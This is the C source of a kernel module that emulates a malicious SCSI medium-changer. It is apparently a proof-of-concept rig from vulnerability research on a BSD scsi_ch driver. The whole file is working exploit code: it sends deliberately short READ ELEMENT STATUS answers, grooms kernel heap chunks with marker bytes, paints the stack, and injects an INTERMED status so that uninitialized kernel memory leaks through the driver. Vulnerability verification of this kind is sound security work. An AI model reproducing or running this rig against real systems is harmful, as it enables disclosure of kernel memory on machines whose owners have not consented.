/*
 * evilcd3.ko -- evil T_CHANGER rig for scsi_ch.c pass-2 verification.
 *
 * Derived from the DF-5327 evilcd2 rig (findings/poc/DF-5327/evilcd2.c),
 * reduced to the fake medium-changer target plus the knobs needed here:
 *
 *   debug.evilcd.resmode     0 = normal READ ELEMENT STATUS answers
 *                            1 = 2nd RES (count>1) transfers ONLY the
 *                                8-byte header (avail=count) and stops:
 *                                short-but-good transfer, resid>0, exactly
 *                                what an evil real changer can do.
 *   debug.evilcd.markres=N   kmalloc/free N-marked M_DEVBUF chunks of the
 *                            exact size chgetelemstatus() will allocate for
 *                            cesr_element_count=N (8+8+16*N) so the
 *                            non-zeroed buffer reuses stamped heap.
 *   debug.evilcd.chprobe=1   one-shot: next MODE SENSE(6) completes with
 *                            CAM_SCSI_STATUS_ERROR + SCSI status INTERMED
 *                            (0x10) -- cam_periph_error() returns 0 for it
 *                            (camperiphscsistatuserror SCSI_STATUS_INTERMED
 *                            => error = 0), driving chdone()'s
 *                            CH_CCB_PROBE "error == 0, status != REQ_CMP"
 *                            branch with announce_buf[] never initialized.
 *   debug.evilcd.probeannounce=1
 *                            paint this thread's stack with 0x42, arm
 *                            chprobe, then rescan the bus inline (same
 *                            thread) so the attach-time probe runs on a
 *                            groomed stack.
 *   debug.evilcd.rescan=1    rescan the evil bus.
 *
 * Mode pages: 0x1d with nmte=1/mtea=0, fsea=256/nse=8, so sc_firsts[CHET_ST]
 * = 256 and sc_counts[CHET_ST] = 8; CHIOGSTATUS(chet=CHET_ST, base=0,
 * count=4) passes the driver's range check.
 *
 * READ ELEMENT STATUS (0xB8) behaviour (resmode=1):
 *   - sizing probe (count==1): full 24-byte answer, edl=16, flags=0.
 *   - real query  (count>1):   ONLY 8 bytes: fear=sea, count=<asked count>,
 *     nbytes=0; resid = dxfer_len-8; CAM_REQ_CMP.  The page header
 *     (data[8..15]) and all descriptors (data[16..]) are therefore whatever
 *     stale kernel heap was in the driver's kmalloc'd buffer.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/kthread.h>
#include <sys/sysctl.h>
#include <sys/lock.h>
#include <sys/thread.h>
#include <sys/types.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_periph.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>
#include <bus/cam/cam_xpt_periph.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>

MALLOC_DEFINE(M_EVILCD, "evilcd", "evilcd ch rig");

static struct lock	 ev_lock;
static struct cam_sim	*ev_sim;

static int		 ev_resmode;	/* 1 = short 2nd RES */
static int		 ev_chprobe;	/* one-shot INTERMED mode sense */
static int		 ev_res_shorts;	/* count of short RES done */
static u_int32_t	 ev_res_last_size;
static u_int32_t	 ev_res_last_sent;

static void ev_action(struct cam_sim *sim, union ccb *ccb);
static void ev_scan_done(struct cam_periph *periph, union ccb *done_ccb);
static void ev_poll(struct cam_sim *sim);

/* ---------------- device responses ---------------- */

static u_int8_t ev_ch_inq36[36] = {
	0x08,			/* T_CHANGER, qual 0 */
	0x80,			/* RMB */
	0x02, 0x02, 0x00, 0x00, 0x00, 0x00,
	'E','V','I','L','C','H',' ',' ',
	'O','O','B','T','E','S','T',' ',
	'1','.','0',' ',
};

static void
ev_complete(union ccb *ccb, cam_status st)
{
	ccb->ccb_h.status = st;
	if ((ccb->ccb_h.func_code & XPT_FC_QUEUED) != 0)
		xpt_done(ccb);
}

static void
ev_fill_data(struct ccb_scsiio *csio, u_int8_t *src, u_int32_t srclen)
{
	u_int32_t dxfer = csio->dxfer_len;
	u_int32_t copy = dxfer < srclen ? dxfer : srclen;

	if (csio->data_ptr != NULL && copy)
		bcopy(src, csio->data_ptr, copy);
	csio->resid = dxfer - copy;
	csio->scsi_status = SCSI_STATUS_OK;
}

/* MODE SENSE(6) pages for the fake changer */
static void
ev_ch_mode_sense(struct ccb_scsiio *csio, u_int8_t page, int dxfer)
{
	u_int8_t buf[32];

	if (ev_chprobe) {
		/* one-shot: SCSI status INTERMED on a MODE SENSE makes
		 * CAM set CAM_SCSI_STATUS_ERROR; cam_periph_error()
		 * returns 0 for INTERMED (camperiphscsistatuserror),
		 * so chdone()'s PROBE handler falls into neither the
		 * success nor the error!=0 branch -> announce_buf[] in
		 * chdone() stays uninitialized. */
		ev_chprobe = 0;
		kprintf("[EVILCH] MODE SENSE page 0x%02x -> INTERMED "
		    "(error==0 path)\n", page);
		csio->scsi_status = 0x10;	/* SCSI_STATUS_INTERMED */
		csio->resid = csio->dxfer_len;
		ev_complete((union ccb *)csio, CAM_SCSI_STATUS_ERROR);
		return;
	}

	bzero(buf, sizeof(buf));
	buf[0] = 0x00; buf[1] = 0x00;	/* mode data len (unused by ch) */
	buf[2] = 0x00; buf[3] = 0x00;	/* medium type, dev spec */
	/* blk_desc_len = 0 -> page starts at offset 4 */
	buf[4] = page;
	buf[5] = 0x10;			/* page length */
	if (page == 0x1d) {		/* element address assignment */
		buf[6] = 0x00; buf[7] = 0x00;	/* mtea = 0    */
		buf[8] = 0x00; buf[9] = 0x01;	/* nmte = 1    */
		buf[10] = 0x01; buf[11] = 0x00;	/* fsea = 256  */
		buf[12] = 0x00; buf[13] = 0x08;	/* nse  = 8    */
		/* fieea/niee/fdtea/ndte = 0 */
	}
	/* page 0x1f: device capabilities -- zero move/exchange masks */
	ev_fill_data(csio, buf, 22);
	ev_complete((union ccb *)csio, CAM_REQ_CMP);
}

/* READ ELEMENT STATUS */
static void
ev_ch_res(struct ccb_scsiio *csio, u_int8_t *cdb)
{
	u_int32_t sea = (cdb[2] << 8) | cdb[3];
	u_int32_t count = (cdb[4] << 8) | cdb[5];
	u_int8_t buf[8 + 8 + 16];	/* header + page header + 1 desc */
	u_int32_t len;

	if (count == 1 || ev_resmode == 0) {
		/* sizing probe: full answer, edl = 16, no voltags */
		bzero(buf, sizeof(buf));
		buf[0] = sea >> 8;		/* fear */
		buf[1] = sea;
		buf[2] = 0x00; buf[3] = 0x01;	/* count(avail) = 1 */
		buf[6] = 0x00; buf[7] = 16;	/* nbytes */
		buf[8] = 0x02;			/* pg type: storage */
		buf[9] = 0x00;			/* flags: no voltag */
		buf[10] = 0x00; buf[11] = 16;	/* edl = 16 */
		buf[13] = 0x00; buf[14] = 0x00; buf[15] = 16;
		buf[16] = sea >> 8;		/* desc.eaddr */
		buf[17] = sea;
		len = sizeof(buf);
		kprintf("[EVILCH] RES probe: sea=%u count=1 full %uB "
		    "(edl=16)\n", sea, len);
	} else if (ev_resmode == 1) {
		/* evil short transfer: ONLY the 8-byte header.
		 * avail (st_hdr->count) claims `count' elements are
		 * reported; the page header + descriptors are never
		 * sent -- short-but-good, resid > 0, CAM_REQ_CMP. */
		bzero(buf, sizeof(buf));
		buf[0] = sea >> 8;
		buf[1] = sea;
		buf[2] = count >> 8;		/* avail = count */
		buf[3] = count;
		buf[4] = 0;
		buf[5] = 0; buf[6] = 0; buf[7] = 0;
		len = 8;
		ev_res_shorts++;
		ev_res_last_size = csio->dxfer_len;
		ev_res_last_sent = 8;
		kprintf("[EVILCH] RES evil short: sea=%u count=%u dxfer=%u "
		    "SENT=8B only (page hdr+descs = stale heap)\n",
		    sea, count, csio->dxfer_len);
	} else {
		/* normal full answer for count elements (not used) */
		bzero(buf, sizeof(buf));
		buf[0] = sea >> 8;
		buf[1] = sea;
		buf[2] = count >> 8;
		buf[3] = count;
		buf[10] = 0x00; buf[11] = 16;
		len = 8 + 8 + 16 * (count < 1 ? 1 : count);
		if (len > csio->dxfer_len)
			len = csio->dxfer_len;
	}
	ev_fill_data(csio, buf, len);
	ev_complete((union ccb *)csio, CAM_REQ_CMP);
}

static void
ev_ch_io(struct ccb_scsiio *csio)
{
	u_int8_t *cdb = csio->cdb_io.cdb_bytes;
	u_int8_t b[4];

	switch (cdb[0]) {
	case 0x12:		/* INQUIRY */
		if (cdb[1] & 0x01) {
			bzero(b, 4);
			ev_fill_data(csio, b, 4);
		} else {
			ev_fill_data(csio, ev_ch_inq36, 36);
		}
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;
	case 0x1A:		/* MODE SENSE(6) */
		ev_ch_mode_sense(csio, cdb[2] & 0x3f, csio->dxfer_len);
		return;
	case 0xB8:		/* READ ELEMENT STATUS */
		ev_ch_res(csio, cdb);
		return;
	case 0x00:		/* TUR */
	case 0x03:		/* REQUEST SENSE */
	default:
		csio->scsi_status = SCSI_STATUS_OK;
		csio->resid = csio->dxfer_len;
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;
	}
}

static void
ev_scsi_io(struct ccb_scsiio *csio)
{
	if (csio->ccb_h.target_id == 1) {
		ev_ch_io(csio);
		return;
	}
	csio->scsi_status = SCSI_STATUS_OK;
	csio->resid = csio->dxfer_len;
	ev_complete((union ccb *)csio, CAM_REQ_CMP);
}

static void
ev_action(struct cam_sim *sim, union ccb *ccb)
{
	switch (ccb->ccb_h.func_code) {
	case XPT_PATH_INQ:
	{
		struct ccb_pathinq *cpi = &ccb->cpi;

		/* NB: cpi overlays ccb_h in union ccb -- no bzero here! */
		cpi->version_num = 1;
		cpi->hba_inquiry = 0;
		cpi->hba_misc = 0;
		cpi->max_target = 1;
		cpi->max_lun = 0;
		cpi->initiator_id = 7;
		cpi->unit_number = cam_sim_unit(sim);
		cpi->bus_id = cam_sim_bus(sim);
		cpi->base_transfer_speed = 3300;
		cpi->transport = XPORT_SPI;
		cpi->transport_version = 2;
		cpi->protocol = PROTO_SCSI;
		cpi->protocol_version = SCSI_REV_2;
		cpi->maxio = 65536;
		strncpy(cpi->sim_vid, "EVIL", SIM_IDLEN);
		strncpy(cpi->hba_vid, "EVIL", HBA_IDLEN);
		strncpy(cpi->dev_name, "evilch", DEV_IDLEN);
		ccb->ccb_h.status = CAM_REQ_CMP;
		break;
	}
	case XPT_GET_TRAN_SETTINGS:
		/* must succeed or xpt_announce_periph() bails BEFORE
		 * printing the caller's announce string */
		ccb->cts.type = CTS_TYPE_CURRENT_SETTINGS;
		ccb->cts.transport = XPORT_SPI;
		ccb->cts.transport_version = 2;
		ccb->cts.protocol = PROTO_SCSI;
		ccb->cts.protocol_version = SCSI_REV_2;
		ccb->cts.xport_specific.spi.valid = 0;
		ccb->cts.proto_specific.scsi.valid = 0;
		ccb->ccb_h.status = CAM_REQ_CMP;
		break;
	case XPT_SET_TRAN_SETTINGS:
		ccb->ccb_h.status = CAM_REQ_INVALID;
		break;
	case XPT_SCSI_IO:
		ev_scsi_io(&ccb->csio);
		return;
	default:
		ev_complete(ccb, CAM_REQ_INVALID);
		return;
	}
	xpt_done(ccb);
}

static void
ev_poll(struct cam_sim *sim)
{
}

/* ---------------- knobs ---------------- */

/* AC_LOST_DEVICE on the ch target so a rescan re-runs the attach path */
static int
ev_sys_invalidate(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;
	struct cam_path *path;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);
	if (ev_sim == NULL)
		return (ENXIO);
	lockmgr(&ev_lock, LK_EXCLUSIVE);
	if (xpt_create_path(&path, NULL, cam_sim_path(ev_sim), 1, 0)
	    == CAM_REQ_CMP) {
		xpt_async(AC_LOST_DEVICE, path, NULL);
		xpt_free_path(path);
	}
	lockmgr(&ev_lock, LK_RELEASE);
	return (0);
}

static int
ev_sys_rescan(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;
	struct cam_path *path;
	union ccb *ccb;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);
	if (ev_sim == NULL)
		return (ENXIO);
	lockmgr(&ev_lock, LK_EXCLUSIVE);
	if (xpt_create_path(&path, xpt_periph, cam_sim_path(ev_sim),
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD) == CAM_REQ_CMP) {
		ccb = xpt_alloc_ccb();
		xpt_setup_ccb(&ccb->ccb_h, path, 5);
		ccb->ccb_h.func_code = XPT_SCAN_BUS;
		ccb->ccb_h.cbfcnp = ev_scan_done;
		xpt_action(ccb);
	}
	lockmgr(&ev_lock, LK_RELEASE);
	return (0);
}

/* mark N chunks of exactly the size chgetelemstatus() will allocate:
 * 8 (st hdr) + 8 (pg hdr) + 16 * N (desclen * count) */
static int
ev_sys_markres(SYSCTL_HANDLER_ARGS)
{
	int n = 0, error, k;
	size_t sz;
	void *p;

	error = sysctl_handle_int(oidp, &n, 0, req);
	if (error != 0 || req->newptr == NULL || n <= 0)
		return (error);
	if (n > 512)
		n = 512;
	sz = 8 + 8 + 16 * (size_t)n;
	for (k = 0; k < 96; k++) {
		p = kmalloc(sz, M_DEVBUF, M_INTWAIT);
		/* marker bytes 0x21..0x2F: deliberately NO 0x40/0x80 bits so
		 * the stale page-header flags cannot set PVOLTAG/AVOLTAG and
		 * drag in the (separately filed) OOB-walk class -- this rig
		 * demonstrates the pure in-buffer uninitialized disclosure */
		memset(p, 0x21 + (k % 0x0F), sz);
		kfree(p, M_DEVBUF);
	}
	kprintf("[EVILCH] marked %d x %zuB M_DEVBUF chunks\n", 96, sz);
	return (0);
}

/* paint the current thread's stack with 0x42 down ~4KB, then rescan
 * inline on the same thread (for the chdone announce_buf demo) */
static void
ev_paint_deep(int depth)
{
	volatile char pad[256];
	int i;

	for (i = 0; i < (int)sizeof(pad); i++)
		pad[i] = 0x42;
	if (depth > 0)
		ev_paint_deep(depth - 1);
	/* touch pad after recursion so it is not optimized away */
	if (pad[0] != 0x42)
		kprintf("[EVILCH] paint corruption?!\n");
}

static int
ev_sys_probeannounce(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);
	kprintf("[EVILCH] probeannounce: painting stack + arming INTERMED + "
	    "rescan (inline)\n");
	ev_paint_deep(16);	/* dirty ~4KB of stack below us */
	ev_chprobe = 1;		/* next MODE SENSE -> INTERMED once */
	{
		/* inline rescan, same thread */
		struct cam_path *path;
		union ccb *ccb;

		if (ev_sim != NULL) {
			lockmgr(&ev_lock, LK_EXCLUSIVE);
			if (xpt_create_path(&path, xpt_periph,
			    cam_sim_path(ev_sim), CAM_TARGET_WILDCARD,
			    CAM_LUN_WILDCARD) == CAM_REQ_CMP) {
				ccb = xpt_alloc_ccb();
				xpt_setup_ccb(&ccb->ccb_h, path, 5);
				ccb->ccb_h.func_code = XPT_SCAN_BUS;
				ccb->ccb_h.cbfcnp = ev_scan_done;
				xpt_action(ccb);
			}
			lockmgr(&ev_lock, LK_RELEASE);
		}
	}
	return (0);
}

SYSCTL_NODE(_debug, OID_AUTO, evilcd, CTLFLAG_RW, 0, "evilcd control");
SYSCTL_INT(_debug_evilcd, OID_AUTO, resmode, CTLFLAG_RW, &ev_resmode, 0,
    "1 = 2nd READ ELEMENT STATUS transfers 8-byte header only");
SYSCTL_INT(_debug_evilcd, OID_AUTO, resshorts, CTLFLAG_RD, &ev_res_shorts, 0,
    "number of evil short RES transfers done");
SYSCTL_INT(_debug_evilcd, OID_AUTO, ressize, CTLFLAG_RD, &ev_res_last_size, 0,
    "last short RES dxfer_len");
SYSCTL_INT(_debug_evilcd, OID_AUTO, ressent, CTLFLAG_RD, &ev_res_last_sent, 0,
    "last short RES bytes actually sent");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, markres, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_markres, "I", "stamp freed M_DEVBUF chunks of RES buffer size");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, rescan, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_rescan, "I", "rescan the evil bus");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, invalidate, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_invalidate, "I", "AC_LOST_DEVICE on the ch target");
SYSCTL_INT(_debug_evilcd, OID_AUTO, chprobe, CTLFLAG_RW, &ev_chprobe, 0,
    "one-shot: next MODE SENSE completes INTERMED");
SYSCTL_PROC(_debug_evilcd, OID_AUTO, probeannounce, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_probeannounce, "I", "paint stack + INTERMED probe + rescan");

/* ---------------- bus registration + scan ---------------- */

static void
ev_scan_done(struct cam_periph *periph, union ccb *done_ccb)
{
	xpt_free_path(done_ccb->ccb_h.path);
	xpt_free_ccb(&done_ccb->ccb_h);
}

static void
ev_choreography(void *arg)
{
	struct cam_path *path;
	union ccb *ccb;
	cam_status status;

	ev_sim = cam_sim_alloc(ev_action, ev_poll, "evilch", NULL, 0,
	    &ev_lock, 16, 16, NULL);
	if (ev_sim == NULL) {
		kprintf("[EVILCH] cam_sim_alloc failed\n");
		kthread_exit();
	}
	cam_sim_lock(&ev_lock);
	if (xpt_bus_register(ev_sim, 0) != CAM_SUCCESS) {
		kprintf("[EVILCH] xpt_bus_register failed\n");
		cam_sim_unlock(&ev_lock);
		kthread_exit();
	}

	status = xpt_create_path(&path, xpt_periph, cam_sim_path(ev_sim),
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD);
	if (status != CAM_REQ_CMP) {
		kprintf("[EVILCH] cannot create scan path: %#x\n", status);
		cam_sim_unlock(&ev_lock);
		kthread_exit();
	}
	ccb = xpt_alloc_ccb();
	xpt_setup_ccb(&ccb->ccb_h, path, 5);
	ccb->ccb_h.func_code = XPT_SCAN_BUS;
	ccb->ccb_h.cbfcnp = ev_scan_done;
	xpt_action(ccb);

	kprintf("[EVILCH] bus scanned (fake changer at target 1)\n");
	cam_sim_unlock(&ev_lock);
	kthread_exit();
}

static int
evilcd_modevent(module_t mod, int type, void *data)
{
	int error = 0;

	switch (type) {
	case MOD_LOAD:
		lockinit(&ev_lock, "evilch", 0, LK_CANRECURSE);
		kthread_create(ev_choreography, NULL, NULL, "evilch");
		break;
	case MOD_UNLOAD:
		kprintf("[EVILCH] unload not supported\n");
		error = EBUSY;
		break;
	default:
		error = EOPNOTSUPP;
		break;
	}
	return (error);
}

static moduledata_t evilcd_mod = { "evilcd", evilcd_modevent, NULL };
DECLARE_MODULE(evilcd, evilcd_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(evilcd, cam, 1, 1, 1);
